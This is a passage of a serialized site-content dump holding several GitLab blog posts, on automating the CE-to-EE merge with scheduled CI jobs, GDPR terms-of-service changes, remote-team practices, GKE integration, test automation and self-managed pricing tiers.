we also develop features on top of it for GitLab Starter, Premium, and Ultimate.\n\n## How we used to merge GitLab CE into GitLab EE\n\nUntil December 2017, the merge of [`gitlab-ce`] into [`gitlab-ee`] was manual\non a daily basis with basically the following commands ([see the full documentation]):\n\n```shell\n# the `origin` remote refers to https://gitlab.com/gitlab-org/gitlab-ee.git\n# the `ce` remote refers to https://gitlab.com/gitlab-org/gitlab-ce.git\ngit fetch origin master\ngit checkout -b ce-to-ee origin/master\ngit fetch ce master\ngit merge --no-ff ce/master\n```\n\nAt this point, since we'd merge a day's worth of GitLab Core's new commits,\nchances were good we'd see conflicts.\nMost of the time, the person responsible for this process would handle the\nconflict resolutions, commit them and push the `ce-to-ee` branch to GitLab.com.\n\nThere were a few problems with this approach:\n\n- GitLab's development pace is fast, which means the longer we go without a\n  merge, the more changes there are and thus more opportunities for conflicts\n- If we had many conflicts, it could take a significant amount of time for the\n  developer responsible for the merge\n- The developer performing the merge wasn't always the best person to resolve the\n  conflicts\n- Significant time was spent identifying and notifying developers to help resolve conflicts\n\n## The solution\n\nOur plan was to have a single script that would automate the merge, and in the\ncase of conflicts, identify the person best suited to resolve each of them.\nIt would then create the merge request using the [GitLab API] and a\n[GitLab API Ruby wrapper], and post a message in Slack when a new merge request\nwas created or an existing one was still pending.\n\nFinally, we'd use GitLab's [pipeline schedules] to run the script every three hours.\n\n### Step 1: Write the script\n\nWe chose to write the script in our [`release-tools`] project, since it already\nhad a strong foundation for working with the relevant Git repositories.\n\nThis script was written iteratively as a set of classes over the course of a few\nmonths:\n\n1. [Add the ability to find/create a merge request][!139]\n1. [Move remotes to the `Project` classes and get rid of the `Remotes` class][!168]\n1. [Add `head`, `status`, `log`, `fetch`, `checkout_new_branch`, `pull`, `push`, and `merge` to `RemoteRepository`][!177]\n1. [Introduce a new `CommitAuthor` class][!197]\n\nThe last piece of the puzzle was the new [`upstream_merge` Rake task][!219].\n\n### Step 2: Create a pair of SSH keys and add the public key to the `gitlab-ee` project\n\nUnder **Repository Settings > Deploy Keys** of the [`gitlab-ee`] project:\n\n![Deploy key in `gitlab-ee`](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step2.png){: .shadow.center.medium}\n\n### Step 3: Create secret variables in the `release-tools` project\n\nUnder **CI / CD Settings** of the [`release-tools`] project, create three secret\nvariables:\n\n- `AUTO_UPSTREAM_MERGE_BOT_SSH_PRIVATE_KEY` for the SSH private key\n- `GITLAB_API_PRIVATE_TOKEN` is a personal access token for our [`@gitlab-bot`]\n  user\n- `SLACK_UPSTREAM_MERGE_URL` which is the Slack webhook URL we created\n  specifically for this job and used in our [`Slack::UpstreamMergeNotification` class]\n\n![Secret variable](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step3.png){: .shadow.center.medium}\n\n### Step 4: Add a new CI job that runs the `upstream_merge` Rake task for pipeline schedules only\n\n*This was heavily inspired by [GitBot – automating boring Git operations with CI].*\n\nCreate a new `upstream-merge` CI job that:\n\n- Adds the SSH private key to the `~/.ssh` folder\n- Add `gitlab.com` to the `~/.ssh/known_hosts` file\n- Runs `bundle exec rake upstream_merge`\n\n![`upstream-merge` job](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step4.png){: .shadow.center.medium}\n\nYou can [check out the task for yourself](https://gitlab.com/gitlab-org/release-tools/blob/1cd437823113d4529919c29b177bb2037c19fc3c/.gitlab-ci.yml#L50-64).\n\n### Step 5: Create a pipeline schedule that runs every three hours\n\nUnder **Schedules** of the [`release-tools`] project:\n\n![Pipeline schedule](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step5.png){: .shadow.center.medium}\n\n### Step 6: Let the bot work for us!\n\n**The CI job:**\n\n![CI job](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step6-1.png){: .shadow.center.medium}\n\n**The Slack messages:**\n\n![Slack messages](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step6-2.png){: .shadow.center.medium}\n\n**The merge request:**\n\n![Merge request](https://about.gitlab.com/images/blogimages/using-gitlab-ci-to-build-gitlab-faster/step6-3.png){: .shadow.center.medium}\n\n## What are the benefits?\n\nSince we started automating this process in December 2017, our dear\n[`@gitlab-bot`] created no fewer than [229 automatic merges], and we started\nnoticing the benefits immediately:\n\n- Automating the merge request creation saved developers time and removed a manual\nchore.\n- Automatically identifying the developer who introduced a conflict and assigning\nthem to resolve it spread out the workload and reduced bugs caused by improper\nconflict resolution.\n- Performing the merge automatically every three hours instead of manually once a\nday led to fewer changes at a time and a reduced number of conflicts.\n\nThe last, perhaps least visible, but most important benefit, is that we reduced\ndeveloper frustration and increased happiness by removing a tedious chore.\n\n[Photo](https://unsplash.com/photos/w6OniVDCfn0?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Max Ostrozhinskiy on [Unsplash](https://unsplash.com/search/photos/build?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n[open source project]: /community/contribute/\n[commercial project]: /pricing/\n[`gitlab-ce`]: https://gitlab.com/gitlab-org/gitlab-ce\n[`gitlab-ee`]: https://gitlab.com/gitlab-org/gitlab-ee\n[single codebase]: https://gitlab.com/gitlab-org/gitlab-ee/issues/2952\n[see the full documentation]: https://gitlab.com/gitlab-org/release/docs/blob/master/general/merge-ce-into-ee.md\n[pipeline schedules]: https://docs.gitlab.com/ee/ci/pipelines/schedules.html\n[GitLab API]: https://docs.gitlab.com/ee/api/merge_requests.html\n[GitLab API Ruby wrapper]: https://rubygems.org/gems/gitlab\n[`release-tools`]: https://gitlab.com/gitlab-org/release-tools/\n[!139]: https://gitlab.com/gitlab-org/release-tools/merge_requests/139\n[!168]: https://gitlab.com/gitlab-org/release-tools/merge_requests/168\n[!177]: https://gitlab.com/gitlab-org/release-tools/merge_requests/177\n[!197]: https://gitlab.com/gitlab-org/release-tools/merge_requests/197\n[!219]: https://gitlab.com/gitlab-org/release-tools/merge_requests/219\n[`Slack::UpstreamMergeNotification` class]: https://gitlab.com/gitlab-org/release-tools/blob/1cd437823113d4529919c29b177bb2037c19fc3c/lib/slack/upstream_merge_notification.rb#L7\n[GitBot – automating boring Git operations with CI]: /2017/11/02/automating-boring-git-operations-gitlab-ci/\n[229 automatic merges]: https://gitlab.com/gitlab-org/gitlab-ee/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=CE%20upstream&author_username=gitlab-bot\n[`@gitlab-bot`]: https://gitlab.com/gitlab-bot\n",[676,1384],{"slug":33515,"featured":6,"template":678},"using-gitlab-ci-to-build-gitlab-faster","content:en-us:blog:using-gitlab-ci-to-build-gitlab-faster.yml","Using Gitlab Ci To Build Gitlab Faster","en-us/blog/using-gitlab-ci-to-build-gitlab-faster.yml","en-us/blog/using-gitlab-ci-to-build-gitlab-faster",{"_path":33521,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33522,"content":33528,"config":33533,"_id":33535,"_type":16,"title":33536,"_source":17,"_file":33537,"_stem":33538,"_extension":20},"/en-us/blog/new-gitlab-com-terms-of-service",{"title":33523,"description":33524,"ogTitle":33523,"ogDescription":33524,"noIndex":6,"ogImage":33525,"ogUrl":33526,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33526,"schema":33527},"New GitLab.com Terms of Service: Coming soon","We're updating GitLab.com Terms of Service to comply with upcoming GDPR regulations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671239/Blog/Hero%20Images/contract-document-documents-48148.jpg","https://about.gitlab.com/blog/new-gitlab-com-terms-of-service","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New GitLab.com Terms of Service: Coming soon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jeremiah\"}],\n        \"datePublished\": \"2018-05-01\",\n      }",{"title":33523,"description":33524,"authors":33529,"heroImage":33525,"date":33530,"body":33531,"category":299,"tags":33532},[29354],"2018-05-01","\n\n## Why the change?\n\nMany of you are aware of the pending implementation of the [General Data Protection Regulation (GDPR)](/privacy/privacy-compliance/), which has specific requirements for how personal data is protected and managed. As a result of these new requirements, we will be updating our Terms of Service (TOS) and will also need to ensure that GitLab.com users are aware of the change and agree to these new terms.\n\nIn the past, we’ve been able to offer a more passive approach to accepting TOS, but going forward the new process will **require a distinct step from users to agree to them**. As a result of this change, you will be asked to review and agree to the updated TOS.\n\n**Key point:** When the new TOS and acceptance requirement goes live, **you will be unable to access** GitLab.com until you have accepted the new TOS.\n{: .alert .alert-gitlab-orange}\n\n## What do I need to do and when?\n\nBecause many of you access GitLab.com through API and Git interactions, we're planning on a two-phase implementation. The first phase will focus on users who access GitLab.com from the web. Soon, when you visit GitLab.com from the web, you will be presented with a new TOS to accept.\n\nNote, at this point, API access to and Git interactions with GitLab.com will _not yet_ be affected. If you use GitLab.com via any automated API or Git process, **please log into GitLab.com as those API/Git users and navigate to [https://gitlab.com/-/users/terms](https://gitlab.com/-/users/terms) to accept the terms.** (Note: this page will be active shortly)\n\n### May 23, 2018\n\nOn May 23, 2018, the new TOS requirement will be enforced for all traffic. At this point, all web traffic, API access, and Git interactions will be blocked for any GitLab.com user that has not accepted the new TOS. If you use GitLab.com via any automated API or Git process, access will stop working on May 23, 2018 if you have not accepted the new TOS. **Remember, if you accept the TOS by May 23 for your users, you will not experience any disruption.**\n\nWe are committed to protecting your data and your privacy and being transparent in our processes and approach. If you have any questions or concerns, please leave us a comment here.\n\n[Cover image](https://www.pexels.com/photo/sign-pen-business-document-48148/) licensed\nunder [CC X](https://www.pexels.com/photo-license/)\n{: .note}\n",[676,736],{"slug":33534,"featured":6,"template":678},"new-gitlab-com-terms-of-service","content:en-us:blog:new-gitlab-com-terms-of-service.yml","New Gitlab Com Terms Of Service","en-us/blog/new-gitlab-com-terms-of-service.yml","en-us/blog/new-gitlab-com-terms-of-service",{"_path":33540,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33541,"content":33547,"config":33554,"_id":33556,"_type":16,"title":33557,"_source":17,"_file":33558,"_stem":33559,"_extension":20},"/en-us/blog/remote-future-how-remote-companies-stay-connected",{"title":33542,"description":33543,"ogTitle":33542,"ogDescription":33543,"noIndex":6,"ogImage":33544,"ogUrl":33545,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33545,"schema":33546},"Remote teams: How tech companies build future collaboration","Resistance to remote work often stems from fears of reduced collaboration, isolation, and complexity – here's why those fears are unfounded.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678684/Blog/Hero%20Images/remote-future.jpg","https://about.gitlab.com/blog/remote-future-how-remote-companies-stay-connected","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The remote future: How tech companies are helping their remote teams connect\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ariel Camus\"}],\n        \"datePublished\": \"2018-04-27\",\n      }",{"title":33548,"description":33543,"authors":33549,"heroImage":33544,"date":33551,"body":33552,"category":6634,"tags":33553},"The remote future: How tech companies are helping their remote teams connect",[33550],"Ariel Camus","2018-04-27","\nA few weeks ago, I was surprised when I saw the following [tweet](https://twitter.com/ManuKumar/status/972548351123062784) from [Manu Kumar](https://twitter.com/ManuKumar), investor of Lyft and Twilio, among many other successful startups:\n\n![Manu Kamar tweet](https://about.gitlab.com/images/blogimages/remote-future-tweet.png){: .shadow.center.medium}\n\nManu Kumar was known for his clear determination to invest only in startups whose team were at a bike distance from his house in Silicon Valley. And maybe he still wants the founders to be close to him, but he is also clearly seeing and accepting the huge problem companies are facing when trying to find talent.\n\nHowever, **in order to make that remote future possible, we need to look at why** companies have resisted the idea of creating and managing remote teams. Managers and founders are afraid that remote collaboration will prevent their employees from having impromptu conversations, which will then kill innovation within the organization. There are also issues connected to trust between managers and the people that report to them, interpersonal problems due to isolation, increased complexity in communication, and so on.\n\nHowever, **companies are being forced to start considering hiring remote employees if they want access to the best talent** they can afford. An outdated education system and strict immigration laws are making this a real issue. Isn’t that ironic considering the Internet has made access to knowledge and distributed collaboration easier than ever?\n\n## How to make remote work work\n\nThe best way to understand what innovation in the remote workspace is like is to look at what companies with distributed teams are already doing. And if there is something they have in common, it is that **they all create plenty of opportunities for their team members to have face-to-face conversations**.\n\n### Encourage virtual face-to-face time\n\nGitLab, for example, has created an internal system to coordinate weekly “[digital coffee breaks](/company/culture/all-remote/tips/#coffee-chats)” between its employees, who are encouraged to dedicate a few hours a week to having social calls with any teammate. They can also join a Slack channel where, every Monday, a bot will pair them with a random team member. This way, GitLab is creating intentional spaces for spontaneous and personal connection to happen between its employees.\n\nHowever, no video conference or digital solution can replace actual face-to-face communication.\n\nAnecdotally, a friend of mine recently quit the agency where she used to work as a remote software developer. She moved to another agency where she now does the exact same job. Why? Because even though she works as part of a remote team for clients who are based all around the world, the new agency puts a lot of effort into creating a local community of colleagues where my friend can find a network of support. And this is just one example of how “remote work” doesn’t necessarily have to mean “alone work.”\n\n### Make time for real face-to-face time\n\nA clear example of how remote companies are creating opportunities for real face-to-face conversations to happen is team retreats. [GitLab](/events/gitlab-contribute/), Buffer, Zapier, and HelpScout are some of the companies who organize at least a **yearly team retreat where all of their employees travel to the same place and spend a few days, or even weeks, together**.\n\n[Zapier’s co-founder, Wade Foster, said](https://zapier.com/blog/how-to-run-company-retreat/) that…\n\n>Some things are just better done in person. For instance, it’s hard to have an impromptu, deep conversation with a teammate over Google Hangout **about their kids, some random idea you’ve had improving a secondary process in the company, or company values**. All those things tend to naturally happen in person, while they don’t happen in a remote team unless you force it.\n\nBut also, as companies evolve and their teams grow, their retreats change to serve the right purpose.\n\nBuffer’s CEO, Joel Gascoigne, said in an interview with Inc. that…\n\n>When we were a team of less than 30 people, the retreats felt like they could be a productive day-to-day work time for us, a shift towards working together, but continuing with the projects we happened to be working on. **Today our retreats serve less of a purpose of immediate productivity and are more geared towards long-term productivity and meaningful connectedness of the team**.\n\n### Learn from what others are doing right\n\nOther initiatives, like the [Running Remote conference](https://runningremote.com/) taking place in **Bali on June 23–24**, are also trying to create spaces to help distributed companies learn strategies to manage and grow their remote teams. In the case of the Running Remote conference, the fact that they have chosen Bali as their hosting place is no coincidence. Due to its weather, culture, food, and waves, Bali has lately become the place chosen by a lot of companies with distributed teams to organize their team retreats.\n\nAt my company, [Microverse](https://www.microverse.org/), we are trying to tackle this issue at an earlier stage. We’re constantly looking for talent all around the world and training it to become remote software developers. **Our students learn in small distributed teams doing remote pair programming, all while working on freelance and open source projects**. And even though learning is happening in an online and distributed fashion, my vision for the future of education and Microverse, is one where our students will also have access to local co-learning spaces where they can find a community that will support them, because everyone benefits from face-to-face time, and that doesn't have to be with co-workers.\n\nWhat’s really great about the future of remote work is that it doesn’t only help companies access the best talent in the world, but it also helps talent flourish regardless of where people are born. As they say, talent is evenly distributed, but opportunities are not, and we now have the chance to change that.\n\nHopefully, we will all continue learning how to better manage remote organizations and how to make people in those organizations connect at a much deeper human level And in the process, we will make the world a much fairer place.\n\n### About the guest author\n\n[Ariel Camus](https://twitter.com/arielcamus) is the founder of [Microverse](https://www.microverse.org/),\na company finding the world's untapped talent and training it to become remote software developers. Ariel was previously the co-founder and CEO\nof TouristEye, a travel startup that he grew to a million users and sold to Lonely Planet in 2013.\n\n[Photo](https://unsplash.com/photos/tysecUm5HJA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Papaioannou Kostas on Unsplash\n{: .note}\n",[3798],{"slug":33555,"featured":6,"template":678},"remote-future-how-remote-companies-stay-connected","content:en-us:blog:remote-future-how-remote-companies-stay-connected.yml","Remote Future How Remote Companies Stay Connected","en-us/blog/remote-future-how-remote-companies-stay-connected.yml","en-us/blog/remote-future-how-remote-companies-stay-connected",{"_path":33561,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33562,"content":33567,"config":33572,"_id":33574,"_type":16,"title":33575,"_source":17,"_file":33576,"_stem":33577,"_extension":20},"/en-us/blog/getting-started-gitlab-ci-gcp",{"title":33563,"description":33564,"ogTitle":33563,"ogDescription":33564,"noIndex":6,"ogImage":29611,"ogUrl":33565,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33565,"schema":33566},"Getting started with GitLab CI/CD and Google Cloud Platform","Discover how easy it is to set up CI/CD and Kubernetes deployment with our integration with Google Kubernetes Engine.","https://about.gitlab.com/blog/getting-started-gitlab-ci-gcp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab CI/CD and Google Cloud Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-04-24\",\n      }",{"title":33563,"description":33564,"authors":33568,"heroImage":29611,"date":33569,"body":33570,"category":734,"tags":33571},[711],"2018-04-24","\n\nEarlier this month [we announced our new native integration with Google Kubernetes Engine (GKE)](/blog/gke-gitlab-integration/),\nallowing you to [set up CI/CD](/topics/ci-cd/) and Kubernetes deployment in just a few clicks. If you're new to\nGitLab CI on Google Cloud Platform (GCP), we've put together a quick [demo](#demo) and [instructions](#instructions) you can view below. For a more detailed walkthrough and the chance to ask questions, join us on April 26 for a [live demo](#join-google-and-gitlab-for-a-live-demo).\n\n## Demo\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/u3jFf3tTtMk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Instructions\n\n### Add a Kubernetes Engine cluster\n\nHead on over to the CI/CD -> Kubernetes menu option in the GitLab UI. Here you can add your existing cluster to your project or create a brand new one.\n\n![Add your Kubernetes cluster](https://about.gitlab.com/images/blogimages/gitlab-ci-gcp/step1.png){: .shadow.center.medium}\n\nOnce connected, you can install applications like [Helm Tiller](https://helm.sh/), [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/), [Prometheus](https://docs.gitlab.com/ee/administration/monitoring/prometheus/), and [GitLab Runner](https://docs.gitlab.com/ee/ci/runners/) to your cluster with just one click.\n\n![Install applications](https://about.gitlab.com/images/blogimages/gitlab-ci-gcp/install-applications.png){: .shadow.center.medium}\n\n### Enable Auto DevOps\n\nWe've also worked with Google to integrate [GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) with GKE. Using them together, you'll have a continuous deployment pipeline that automatically creates a [review app](https://docs.gitlab.com/ee/ci/review_apps/) for each merge request and once you merge, deploys the application into production on production-ready GKE.\n\nTo get started, go to CI/CD -> General pipeline settings, and select “Enable Auto DevOps.” For more information, read the [Auto DevOps docs](https://docs.gitlab.com/ee/topics/autodevops/).\n\n![Enable Auto DevOps](https://about.gitlab.com/images/blogimages/gitlab-ci-gcp/step2.png){: .shadow.center.medium}\n\nAuto DevOps takes the manual work out of CI/CD by automatically detecting what languages you’re using, and configuring a continuous integration and continuous deployment pipeline that results in your app running live on the Kubernetes Engine cluster.\n\n![Review pipeline](https://about.gitlab.com/images/blogimages/gitlab-ci-gcp/step3.png){: .shadow.center.medium}\n\nNow, whenever you create a merge request, we'll run a review pipeline to deploy a review app to your cluster where you can preview your changes. When you merge the code, GitLab will run a production pipeline to deploy your app to production, running on Kubernetes Engine!\n\n## Get $500 credit for your project\n\nEvery new Google Cloud Platform account receives $300 in credit [upon signup](https://console.cloud.google.com/freetrial?utm_campaign=2018_cpanel&utm_source=gitlab&utm_medium=referral). In partnership with Google, we're offering an additional $200 for both new and existing GCP accounts to get started with the GKE integration. Here's a link to [apply for your $200 credit](https://goo.gl/AaJzRW).\n\n## Join Google and GitLab for a live demo\n\nJoin Google’s [William Denniss](https://www.linkedin.com/in/williamdenniss/) and GitLab’s [William Chia](https://www.linkedin.com/in/williamchia/) for a walkthrough of the integration on April 26. You’ll learn how easy it is to set up a Kubernetes cluster, how to deploy your app using GitLab CI/CD, and how GKE enables you to deploy, update, and manage containerized applications at scale.\n\n[Register today](/webcast/scalable-app-deploy/)!\n",[923,3049,2509,4144],{"slug":33573,"featured":6,"template":678},"getting-started-gitlab-ci-gcp","content:en-us:blog:getting-started-gitlab-ci-gcp.yml","Getting Started Gitlab Ci Gcp","en-us/blog/getting-started-gitlab-ci-gcp.yml","en-us/blog/getting-started-gitlab-ci-gcp",{"_path":33579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33580,"content":33585,"config":33591,"_id":33593,"_type":16,"title":33594,"_source":17,"_file":33595,"_stem":33596,"_extension":20},"/en-us/blog/test-automation-devops",{"title":33581,"description":33582,"ogTitle":33581,"ogDescription":33582,"noIndex":6,"ogImage":12965,"ogUrl":33583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33583,"schema":33584},"Trust, but verify: The importance of software test automation","Guest author Steve Ropa explains what a Cold War era motto has to do with test automation (seriously) and bringing development and operations closer together.","https://about.gitlab.com/blog/test-automation-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Trust, but verify: The importance of software test automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Ropa\"}],\n        \"datePublished\": \"2018-04-23\",\n      }",{"title":33581,"description":33582,"authors":33586,"heroImage":12965,"date":33588,"body":33589,"category":8943,"tags":33590},[33587],"Steve Ropa","2018-04-23","\nThis article is about software [test automation and DevOps](/topics/devops/), but bear with me a moment before we go there. Back during the Cold War, there were many discussions about how to improve relations and reduce the number of nuclear missiles countries were pointing at each other. During these talks, one of the biggest sticking points was how much the two countries could trust each other, and if they couldn’t, how they maintained their sovereignty while under some form of arms control agreement. They eventually agreed upon a regime of agreeing to perform certain actions, with periodic inspections on each side to confirm that said actions would happen, based on the Russian proverb, “trust, but verify.”\n\n## Trust but verify: DevOps requires trust\n\n“Trust, but verify” is commonly used with reference to security, but needs to be the motto for a good DevOps automation pipeline as well. First, for all the developers who ask, “Why should I care about DevOps?” I just want to mention that the key to success in *any* type of development is a short feedback loop and truly safe code. DevOps is a fantastic mechanism for helping us achieve that, by taking the valuable technical practices we’ve learned and applying them frequently and smoothly. DevOps as a cultural phenomenon relies heavily on Lean principles and on the concept of “trust-based management” where we put our trust in the teams to be professional craftsmen. This is important and can’t be overstated. We hire professional developers to do professional development, and we must trust them to get the job done.\n\n## Trust but verify: Today’s world requires verification\n\nAnd yet, there is a challenge. In most cases, software is not being created in a vacuum. We must make sure we are integrating well with the rest of the system. Sometimes, we have legal requirements like [Sarbanes-Oxley compliance](https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act). In the past, we would schedule a large block of time to do all the integration and compliance testing. Now, we are saying, “Trust us, we will do the right thing” and deploying to production as quickly as is practicable. This is where automated testing comes into play.\n\n## Three categories of verification\n\nLet’s break this into three categories: Unit, System, and Compliance. This may not be the breakdown we usually think of, but bear with me. Unit testing is the most commonly discussed level of testing among modern developers. We write small, concise tests that exercise the code under development, ensuring it does what we intend it to do. Preferably we are doing test-driven development, and writing the tests prior to the code, but that is a blog for another time. Under the heading of “trust, but verify,” rather than slow down our development cycle with code review gates and, dare I say it, maybe even merge requests, we allow teams to check code in whenever they feel the need. Then we verify that we haven’t done anything untoward by running the automated unit tests on the build environment. This level of verification isn’t enough to ensure a truly high-quality system, but the lack of this level of verification is a definite step on the road to perdition.\n\n## System-level verification\n\nI like to use System testing to describe the various next level tests. This would be any system-wide tests, such as Acceptance, Integration, and possibly Performance testing. Unfortunately, many development teams stop at automated unit tests. They give lip service to automating other tests “when we have time.” And we know when that is. So, it gets skipped. Or is treated as a luxury. Since we often don’t have enough time to do all this testing manually either, we end up with defects and low-quality user experiences, which erodes trust in our teams’ ability to create and innovate. This downward spiral usually ends with organizations building giant processes and Change Advisory Boards to slow down the pace of change, all in the name of safety.\n\nSo instead, we trust our team to create innovative software, working closely with their customer or other representatives of said customer. To verify the teams are creating the right software, we represent the needs of the customer in terms of tests. These tests are automated to begin with, again preferably before creating the actual product. Then, we include the automated System tests into the DevOps pipeline, running with each check in. Now we can feel safe that the system is stable and represent the customers’ needs to the best of our ability to understand them.\n\n## Safety\n\nLastly, we need to verify that our teams are creating safe software. There are some excellent tools for automated security and safe programming scans. Include these as well into your pipeline. If they take too long, you can consider an alternate pipeline that runs less frequently, but start by running with each check in, until you feel that it just is getting too bogged down.\n\nIn the end, we are back to the basic statement, “trust but verify.” We won’t put massive processes and boards of review in place, slowing down the pace of development. We won’t create giant overarching architectures and just allow our developers to “fill in the blanks.” We will present them with the needs of the system and trust them to develop great software. Meanwhile, we will support them by verifying, many times a day, that they are still on track. Hey, if it worked for nuclear weapons, surely it can work for software.\n\n## About the guest author\n\nSteve Ropa is a Co-founder and Master Craftsman at the [Rocky Mountain Programmers Guild](https://www.rmprogrammers.com/) in Denver, Colorado, where he brings his long career of successful software delivery to elevate developers and teams to new levels of performance and Craftsmanship.\n\n[Photo](https://unsplash.com/photos/GNyy-D-SNN8?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Guillaume Lebelt on [Unsplash](https://unsplash.com/search/photos/patterns?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,942],{"slug":33592,"featured":6,"template":678},"test-automation-devops","content:en-us:blog:test-automation-devops.yml","Test Automation Devops","en-us/blog/test-automation-devops.yml","en-us/blog/test-automation-devops",{"_path":33598,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33599,"content":33605,"config":33610,"_id":33612,"_type":16,"title":33613,"_source":17,"_file":33614,"_stem":33615,"_extension":20},"/en-us/blog/gitlab-tiers",{"title":33600,"description":33601,"ogTitle":33600,"ogDescription":33601,"noIndex":6,"ogImage":33602,"ogUrl":33603,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33603,"schema":33604},"New names for GitLab self-managed pricing tiers","Understand GitLab's pricing tiers and know which features your subscription gives you access to.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680136/Blog/Hero%20Images/gitlab-tiers-cover.png","https://about.gitlab.com/blog/gitlab-tiers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New names for GitLab self-managed pricing tiers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-04-20\",\n      }",{"title":33600,"description":33601,"authors":33606,"heroImage":33602,"date":33607,"body":33608,"category":299,"tags":33609},[16962],"2018-04-20","\n\n_Note: We've continued to iterate on our platform and pricing model since this blog post was published in 2018. To see what's new (including everything from security and container-focused capabilities to guest users), check out our [platform](https://about.gitlab.com/platform/), [pricing](https://about.gitlab.com/pricing/), and [why GitLab](https://about.gitlab.com/why-gitlab/) pages._\n\nAt GitLab, [iteration is one of our ore values](https://handbook.gitlab.com/handbook/values/#iteration). We’ve recently iterated on the names of our self-managed pricing tiers, so [Marcia](/company/team/#XMDRamos) and I got together and wrote this post\nto catch you up on the current options. We’ll explain each tier, and share how to figure out\nwhich features your subscription gives you access to.\n\n- [GitLab deployment options](#gitlab-deployment-options)\n- [GitLab self-hosted](#gitlab-self-managed)\n- [GitLab.com](#gitlabcom)\n- [Repository architecture](#repository-architecture)\n- [Subscription model](#subscription-model)\n- [Examples of use cases](#examples)\n\n## GitLab deployment options\n\nTo use GitLab, you have two options:\n\n- **GitLab self-managed**: Install, administer, and maintain your own GitLab self-managed instance.\n- **GitLab.com**: GitLab's SaaS offering. You don't need to install anything to use GitLab.com,\nyou only need to [sign up](https://gitlab.com/users/sign_in) and start using GitLab\nstraight away.\n\n### GitLab self-managed\n\nWith GitLab self-managed, you deploy your own GitLab instance on-premises or in the cloud. From\nbare metal to Kubernetes, you can [install GitLab almost\nanywhere](/install/). GitLab self-managed has both [free\nand paid options](/pricing/):\n**Core**, **Starter**, **Premium**, and **Ultimate**.\n\nYou can see a full list of features in each self-managed tier on the [self-managed feature\ncomparison](/pricing/feature-comparison/) page. For more details on storage amounts and CI/CD minutes per month, see our [pricing page](https://about.gitlab.com/pricing/).\n\n### GitLab.com\n\nGitLab.com is hosted, managed, and administered by GitLab, Inc., with\n[free and paid options](/pricing/) for individuals\nand teams: **Free**, **Bronze**, **Silver**, and **Gold**.\n\nTo support the open source community and encourage the development of\nopen source projects, GitLab grants access to **Gold** features\nfor all GitLab.com **public** projects, regardless of the subscription.\n\nYou can see a full list of features in each GitLab.com tier on the [GitLab.com feature\ncomparison](/pricing/feature-comparison/) page.\n\n### Repository architecture\n\nWe develop GitLab from two repositories, one for GitLab Community Edition (CE)\nand another for GitLab Enterprise Edition (EE):\n\n- [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce/): open source code, [MIT-based\nlicense](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/LICENSE), from which we deliver\nGitLab CE packages.\n- [GitLab EE](https://gitlab.com/gitlab-org/gitlab-ee/): open core code, [proprietary\nlicense](https://gitlab.com/gitlab-org/gitlab-ee/blob/master/LICENSE), from which we deliver\nGitLab EE packages.\n\nGitLab EE grants you access to features by installing a license key. You\ncan also install GitLab EE and run it for free without a license key which will give you\naccess to the same features as CE. This makes it easier to upgrade later on.\n\nVisit the CE vs EE page to see [which GitLab installation method to\nchoose](/install/ce-or-ee/).\n\n### Subscription model\n\nGitLab Core contains all of the open source features of GitLab. Whether you are running GitLab\nCE or GitLab EE without a license key, you'll get access to the same Core features. The\nproprietary features of EE are unlocked by purchasing a license key.\n\nTiers are additive:\n- Starter contains all the features of Core\n- Premium contains all the features of Starter and Core\n- Ultimate contains all of the features of Premium, Starter, and Core\n\n![GitLab Core, Starter, Premium, Ultimate](https://about.gitlab.com/images/blogimages/gitlab-tiers-repos-and-tiers.jpg)\n\n### Examples\n\n- Consider a user of [GitLab Premium](/pricing/premium/) who wants to 